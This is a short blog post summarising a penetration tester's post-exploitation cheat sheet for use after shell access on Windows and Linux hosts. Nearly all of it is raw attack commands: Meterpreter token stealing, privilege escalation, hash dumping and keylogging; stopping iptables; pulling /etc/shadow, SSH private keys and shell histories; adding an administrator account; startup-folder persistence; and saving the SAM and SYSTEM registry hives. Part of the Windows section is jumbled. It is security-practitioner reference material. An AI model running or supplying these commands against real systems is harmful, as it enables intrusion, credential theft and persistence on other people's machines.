
Credit for most of the below comes from Mubix who has created a few documents (on google docs) that lists what to actually do once shell access has been gained. You can read more about it here and find the links to the docs, I’m simply blogging about it to make a summary of this for myself.
Meterpreter Post Auth
Information Gathering
getpid
getsprivs
sysinfo
screenshot
run winenum.rb
run scraper.rb
run checkvm
run credscollect
run get_local_subnets
Escalating Privs
getsystem
Tokens (use incognito)
impersonate_token
steal_token [pid]
rev2self
Retrieve Passwords
cachedump
post/windows/gather/smart_hashdump
post/windows/gather/credentials/vnc
Session
getdesktop
setdesktop
uictl disable keyboard
Keylog
keyscan_dump
keyscan_stop
Nix Post Auth
Disable Firewall
/etc/init.d/iptables stop
iptables-save > /root/firewall.rules
iptables-restore < /root/firewall.rules
Files to pull
/etc/shadow OR /etc/security/shadow (on AIX)
/etc/groups OR /etc/gshadow
/home/*/.ssh/id*
/etc/sudoers
User Information
grep ^telnet `/home/*/.*hist*
grep ^mysql /home/*/.*hist*
Add user Add share Disable Firewall Auto Start Directories Accounts and Policies Files to pull Enable Remote Desktop Should you wish to have all this useful info (as well as an ascii table) then feel free to use the following wallpaper (1920×1200).
net localgroup administrators pentest /add
C:\Documents And Settings\All Users\Start Menu\Programs\StartUp\
C:\wmiOWS\Start Menu\Programs\StartUp\
C:\WINNT\Profiles\All Users\Start Menu\Programs\StartUp\
net group “Domain Admins” /domain
net accounts ## or net accounts /domain
%SYSTEMROOT%\System32\config\RegBack\SAM
%WINDIR%\repair\sam OR system OR software OR security
reg save HKLM\Security security.hive
reg save HKLM\System system.hive
reg save HKLM\SAM sam.hive

Or customize the GIMP XCF file yourself.